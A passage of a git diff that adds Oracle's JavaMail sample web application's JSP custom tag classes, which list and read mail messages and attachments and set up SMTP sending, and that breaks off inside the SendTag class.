LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import java.io.*; +import java.util.*; + +import javax.mail.*; +import javax.mail.internet.*; + +/** + * Used to store attachment information. + */ +public class AttachmentInfo { + private Part part; + private int num; + + + /** + * Returns the attachment's content type. + */ + public String getAttachmentType() throws MessagingException { + String contentType; + if ((contentType = part.getContentType()) == null) + return "invalid part"; + else + return contentType; + } + + /** + * Returns the attachment's content (if it is plain text). + */ + public String getContent() throws IOException, MessagingException { + if (hasMimeType("text/plain")) + return (String)part.getContent(); + else + return ""; + } + + /** + * Returns the attachment's description. + */ + public String getDescription() throws MessagingException { + String description; + if ((description = part.getDescription()) != null) + return description; + else + return ""; + } + + /** + * Returns the attachment's filename. + */ + public String getFilename() throws MessagingException { + String filename; + if ((filename = part.getFileName()) != null) + return filename; + else + return ""; + } + + /** + * Returns the attachment number. + */ + public String getNum() { + return (Integer.toString(num)); + } + + /** + * Method for checking if the attachment has a description. + */ + public boolean hasDescription() throws MessagingException { + return (part.getDescription() != null); + } + + /** + * Method for checking if the attachment has a filename. + */ + public boolean hasFilename() throws MessagingException { + return (part.getFileName() != null); + } + + /** + * Method for checking if the attachment has the desired mime type. + */ + public boolean hasMimeType(String mimeType) throws MessagingException { + return part.isMimeType(mimeType); + } + + /** + * Method for checking the content disposition. + */ + public boolean isInline() throws MessagingException { + if (part.getDisposition() != null) + return part.getDisposition().equals(Part.INLINE); + else + return true; + } + + /** + * Method for mapping a message part to this AttachmentInfo class. + */ + public void setPart(int num, Part part) + throws MessagingException, ParseException { + + this.part = part; + this.num = num; + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListAttachmentsTEI.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListAttachmentsTEI.java new file mode 100644 index 0000000..811ae5d --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListAttachmentsTEI.java @@ -0,0 +1,55 @@ +/* + * Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import javax.servlet.jsp.*; +import javax.servlet.jsp.tagext.*; + +/** + * Extra information class to support the scripting variable created by the + * ListAttachmentsTag class. The scope of the variable is limited to the body + * of the tag. + */ +public class ListAttachmentsTEI extends TagExtraInfo { + + public ListAttachmentsTEI() { + super(); + } + + public VariableInfo[] getVariableInfo(TagData data) { + VariableInfo info = new VariableInfo(data.getId(),"AttachmentInfo", + true, VariableInfo.NESTED); + VariableInfo[] varInfo = { info }; + return varInfo; + } +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListAttachmentsTag.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListAttachmentsTag.java new file mode 100644 index 0000000..18d782d --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListAttachmentsTag.java @@ -0,0 +1,122 @@ +/* + * Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import java.io.*; +import java.util.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.servlet.jsp.*; +import javax.servlet.jsp.tagext.*; + +/** + * Custom tag for listing message attachments. The scripting variable is only + * within the body of the tag. + */ +public class ListAttachmentsTag extends BodyTagSupport { + private String messageinfo; + private int partNum = 1; + private int numParts = 0; + private AttachmentInfo attachmentinfo; + private MessageInfo messageInfo; + private Multipart multipart; + + /** + * messageinfo attribute getter method. + */ + public String getMessageinfo() { + return messageinfo; + } + + /** + * messageinfo attribute setter method. + */ + public void setMessageinfo(String messageinfo) { + this.messageinfo = messageinfo; + } + + /** + * Method for processing the start of the tag. + */ + public int doStartTag() throws JspException { + messageInfo = (MessageInfo)pageContext.getAttribute(getMessageinfo()); + attachmentinfo = new AttachmentInfo(); + + try { + multipart = (Multipart)messageInfo.getMessage().getContent(); + numParts = multipart.getCount(); + } catch (Exception ex) { + throw new JspException(ex.getMessage()); + } + + getPart(); + + return BodyTag.EVAL_BODY_TAG; + } + + /** + * Method for processing the body content of the tag. + */ + public int doAfterBody() throws JspException { + + BodyContent body = getBodyContent(); + try { + body.writeOut(getPreviousOut()); + } catch (IOException e) { + throw new JspTagException("IterationTag: " + e.getMessage()); + } + + // clear up so the next time the body content is empty + body.clearBody(); + + partNum++; + if (partNum < numParts) { + getPart(); + return BodyTag.EVAL_BODY_TAG; + } else { + return BodyTag.SKIP_BODY; + } + } + + /** + * Helper method for retrieving message parts. + */ + private void getPart() throws JspException { + try { + attachmentinfo.setPart(partNum, multipart.getBodyPart(partNum)); + pageContext.setAttribute(getId(), attachmentinfo); + } catch (Exception ex) { + throw new JspException(ex.getMessage()); + } + } +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListMessagesTEI.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListMessagesTEI.java new file mode 100644 index 0000000..f0c2fcf --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListMessagesTEI.java @@ -0,0 +1,55 @@ +/* + * Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import javax.servlet.jsp.*; +import javax.servlet.jsp.tagext.*; + +/** + * Extra information class to support the scripting variable created by the + * ListMessagesTag class. The scope of the variable is limited to the body + * of the tag. + */ +public class ListMessagesTEI extends TagExtraInfo { + + public ListMessagesTEI() { + super(); + } + + public VariableInfo[] getVariableInfo(TagData data) { + VariableInfo info = new VariableInfo(data.getId(),"MessageInfo", + true, VariableInfo.NESTED); + VariableInfo[] varInfo = { info }; + return varInfo; + } +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListMessagesTag.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListMessagesTag.java new file mode 100644 index 0000000..ec0608f --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/ListMessagesTag.java @@ -0,0 +1,139 @@ +/* + * Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import java.io.*; +import java.util.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.mail.search.*; +import javax.servlet.jsp.*; +import javax.servlet.jsp.tagext.*; + +/** + * Custom tag for listing messages. The scripting variable is only + * within the body of the tag. + */ +public class ListMessagesTag extends BodyTagSupport { + private String folder; + private String session; + private int msgNum = 0; + private int messageCount = 0; + private Message message; + private Message[] messages; + private MessageInfo messageinfo; + + /** + * folder attribute getter method. + */ + public String getFolder() { + return folder; + } + + /** + * session attribute getter method. + */ + public String getSession() { + return session; + } + + /** + * folder setter method. + */ + public void setFolder(String folder) { + this.folder = folder; + } + + /** + * session attribute setter method. + */ + public void setSession(String session) { + this.session = session; + } + + /** + * Method for processing the start of the tag. + */ + public int doStartTag() throws JspException { + messageinfo = new MessageInfo(); + + try { + Folder folder = (Folder)pageContext.getAttribute( + getFolder(), PageContext.SESSION_SCOPE); + FlagTerm ft = new FlagTerm(new Flags(Flags.Flag.DELETED), false); + messages = folder.search(ft); + messageCount = messages.length; + msgNum = 0; + } catch (Exception ex) { + throw new JspException(ex.getMessage()); + } + + if (messageCount > 0) { + getMessage(); + return BodyTag.EVAL_BODY_TAG; + } else + return BodyTag.SKIP_BODY; + } + + /** + * Method for processing the body content of the tag. + */ + public int doAfterBody() throws JspException { + + BodyContent body = getBodyContent(); + try { + body.writeOut(getPreviousOut()); + } catch (IOException e) { + throw new JspTagException("IterationTag: " + e.getMessage()); + } + + // clear up so the next time the body content is empty + body.clearBody(); + + if (msgNum < messageCount) { + getMessage(); + return BodyTag.EVAL_BODY_TAG; + } else { + return BodyTag.SKIP_BODY; + } + } + + /** + * Helper method for retrieving messages. + */ + private void getMessage() throws JspException { + message = messages[msgNum++]; + messageinfo.setMessage(message); + pageContext.setAttribute(getId(), messageinfo); + } +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/MessageInfo.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/MessageInfo.java new file mode 100644 index 0000000..a2356eb --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/MessageInfo.java @@ -0,0 +1,284 @@ +/* + * Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import java.text.*; +import java.util.*; +import javax.mail.*; +import javax.mail.internet.*; + +/** + * Used to store message information. + */ +public class MessageInfo { + private Message message; + + + /** + * Returns the bcc field. + */ + public String getBcc() throws MessagingException { + return formatAddresses( + message.getRecipients(Message.RecipientType.BCC)); + } + + /** + * Returns the body of the message (if it's plain text). + */ + public String getBody() throws MessagingException, java.io.IOException { + Object content = message.getContent(); + if (message.isMimeType("text/plain")) { + return (String)content; + } else if (message.isMimeType("multipart/alternative")) { + Multipart mp = (Multipart)message.getContent(); + int numParts = mp.getCount(); + for (int i = 0; i < numParts; ++i) { + if (mp.getBodyPart(i).isMimeType("text/plain")) + return (String)mp.getBodyPart(i).getContent(); + } + return ""; + } else if (message.isMimeType("multipart/*")) { + Multipart mp = (Multipart)content; + if (mp.getBodyPart(0).isMimeType("text/plain")) + return (String)mp.getBodyPart(0).getContent(); + else + return ""; + } else + return ""; + } + + /** + * Returns the cc field. + */ + public String getCc() throws MessagingException { + return formatAddresses( + message.getRecipients(Message.RecipientType.CC)); + } + + /** + * Returns the date the message was sent (or received if the sent date + * is null. + */ + public String getDate() throws MessagingException { + Date date; + SimpleDateFormat df = new SimpleDateFormat("EE M/d/yy"); + if ((date = message.getSentDate()) != null) + return (df.format(date)); + else if ((date = message.getReceivedDate()) != null) + return (df.format(date)); + else + return ""; + } + + /** + * Returns the from field. + */ + public String getFrom() throws MessagingException { + return formatAddresses(message.getFrom()); + } + + /** + * Returns the address to reply to. + */ + public String getReplyTo() throws MessagingException { + Address[] a = message.getReplyTo(); + if (a.length > 0) + return ((InternetAddress)a[0]).getAddress(); + else + return ""; + } + + /** + * Returns the javax.mail.Message object. + */ + public Message getMessage() { + return message; + } + + /** + * Returns the message number. + */ + public String getNum() { + return (Integer.toString(message.getMessageNumber())); + } + + /** + * Returns the received date field. + */ + public String getReceivedDate() throws MessagingException { + if (hasReceivedDate()) + return (message.getReceivedDate().toString()); + else + return ""; + } + + /** + * Returns the sent date field. + */ + public String getSentDate() throws MessagingException { + if (hasSentDate()) + return (message.getSentDate().toString()); + else + return ""; + } + + /** + * Returns the subject field. + */ + public String getSubject() throws MessagingException { + if (hasSubject()) + return message.getSubject(); + else + return ""; + } + + /** + * Returns the to field. + */ + public String getTo() throws MessagingException { + return formatAddresses( + message.getRecipients(Message.RecipientType.TO)); + } + + /** + * Method for checking if the message has attachments. + */ + public boolean hasAttachments() throws java.io.IOException, + MessagingException { + boolean hasAttachments = false; + if (message.isMimeType("multipart/*")) { + Multipart mp = (Multipart)message.getContent(); + if (mp.getCount() > 1) + hasAttachments = true; + } + + return hasAttachments; + } + + /** + * Method for checking if the message has a bcc field. + */ + public boolean hasBcc() throws MessagingException { + return (message.getRecipients(Message.RecipientType.BCC) != null); + } + + /** + * Method for checking if the message has a cc field. + */ + public boolean hasCc() throws MessagingException { + return (message.getRecipients(Message.RecipientType.CC) != null); + } + + /** + * Method for checking if the message has a date field. + */ + public boolean hasDate() throws MessagingException { + return (hasSentDate() || hasReceivedDate()); + } + + /** + * Method for checking if the message has a from field. + */ + public boolean hasFrom() throws MessagingException { + return (message.getFrom() != null); + } + + /** + * Method for checking if the message has the desired mime type. + */ + public boolean hasMimeType(String mimeType) throws MessagingException { + return message.isMimeType(mimeType); + } + + /** + * Method for checking if the message has a received date field. + */ + public boolean hasReceivedDate() throws MessagingException { + return (message.getReceivedDate() != null); + } + + /** + * Method for checking if the message has a sent date field. + */ + public boolean hasSentDate() throws MessagingException { + return (message.getSentDate() != null); + } + + /** + * Method for checking if the message has a subject field. + */ + public boolean hasSubject() throws MessagingException { + return (message.getSubject() != null); + } + + /** + * Method for checking if the message has a to field. + */ + public boolean hasTo() throws MessagingException { + return (message.getRecipients(Message.RecipientType.TO) != null); + } + + /** + * Method for mapping a message to this MessageInfo class. + */ + public void setMessage(Message message) { + this.message = message; + } + + /** + * Utility method for formatting msg header addresses. + */ + private String formatAddresses(Address[] addrs) { + if (addrs == null) + return ""; + StringBuffer strBuf = new StringBuffer(getDisplayAddress(addrs[0])); + for (int i = 1; i < addrs.length; i++) { + strBuf.append(", ").append(getDisplayAddress(addrs[i])); + } + return strBuf.toString(); + } + + /** + * Utility method which returns a string suitable for msg header display. + */ + private String getDisplayAddress(Address a) { + String pers = null; + String addr = null; + if (a instanceof InternetAddress && + ((pers = ((InternetAddress)a).getPersonal()) != null)) { + addr = pers + " "+"<"+((InternetAddress)a).getAddress()+">"; + } else + addr = a.toString(); + return addr; + } +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/MessageTEI.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/MessageTEI.java new file mode 100644 index 0000000..33a3acd --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/MessageTEI.java @@ -0,0 +1,55 @@ +/* + * Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import javax.servlet.jsp.*; +import javax.servlet.jsp.tagext.*; + +/** + * Extra information class to support the scripting variable created by the + * MessagesTag class. The variable exists outside of the tag. + * + */ +public class MessageTEI extends TagExtraInfo { + + public MessageTEI() { + super(); + } + + public VariableInfo[] getVariableInfo(TagData data) { + VariableInfo info = new VariableInfo(data.getId(),"MessageInfo", + true, VariableInfo.AT_END); + VariableInfo[] varInfo = { info }; + return varInfo; + } +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/MessageTag.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/MessageTag.java new file mode 100644 index 0000000..37f163f --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/MessageTag.java @@ -0,0 +1,108 @@ +/* + * Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import java.util.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.servlet.jsp.*; +import javax.servlet.jsp.tagext.*; + +/** + * Custom tag for retrieving a message. + */ +public class MessageTag extends TagSupport { + private String folder; + private String session; + private int num = 1; + + /** + * folder attribute setter method. + */ + public String getFolder() { + return folder; + } + + /** + * num attribute getter method. + */ + public String getNum() { + return Integer.toString(num); + } + + /** + * session attribute getter method. + */ + public String getSession() { + return session; + } + + /** + * folder setter method. + */ + public void setFolder(String folder) { + this.folder = folder; + } + + /** + * num attribute setter method. + */ + public void setNum(String num) { + this.num = Integer.parseInt(num); + } + + /** + * session attribute setter method. + */ + public void setSession(String session) { + this.session = session; + } + + /** + * Method for processing the start of the tag. + */ + public int doStartTag() throws JspException { + MessageInfo messageinfo = new MessageInfo(); + try { + Folder f = (Folder)pageContext.getAttribute( + getFolder(), PageContext.SESSION_SCOPE); + Message message = f.getMessage(num); + messageinfo.setMessage(message); + pageContext.setAttribute(getId(), messageinfo); + } catch (Exception ex) { + throw new JspException(ex.getMessage()); + } + + return SKIP_BODY; + } +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/SendTag.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/SendTag.java new file mode 100644 index 0000000..f436283 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/SendTag.java @@ -0,0 +1,141 @@ +/* + * Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import java.util.*; +import java.net.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.servlet.jsp.*; +import javax.servlet.jsp.tagext.*; + +/** + * Custom tag for sending messages. + */ +public class SendTag extends BodyTagSupport { + private String body; + private String cc; + private String host; + private String recipients; + private String sender; + private String subject; + + /** + * host attribute setter method. + */ + public void setHost(String host) { + this.host = host; + } + + /** + * recipient attribute setter method. + */ + public void setRecipients(String recipients) { + this.recipients = recipients; + } + + /** + * sender attribute setter method. + */ + public void setSender(String sender) { + this.sender = sender; + } + + /** + * cc attribute setter method. + */ + public void setCc(String cc) { + this.cc = cc; + } + + /** + * subject attribute setter method. + */ + public void setSubject(String subject) { + this.subject = subject; + } + + /** + * Method for processing the end of the tag. + */ + public int doEndTag() throws JspException { + Properties props = System.getProperties(); + + try { + if (host != null) + props.put("mail.smtp.host", host); + else if (props.getProperty("mail.smtp.host") == null) + props.put("mail.smtp.host", InetAddress.getLocalHost(). + getHostName()); + } catch (Exception ex) { + throw new JspException(ex.getMessage()); + } + Session session = Session.getDefaultInstance(props, null); + + Message msg = new MimeMessage(session); + InternetAddress[] toAddrs = null, ccAddrs = null; + + try { + if (recipients != null) { + toAddrs = InternetAddress.parse(recipients, false); + msg.setRecipients(Message.RecipientType.TO, toAddrs); + } else + throw new JspException("No recipient address specified"); + + if (sender != null) + msg.setFrom(new InternetAddress(sender)); + else + throw new JspException("No sender address specified"); + + if 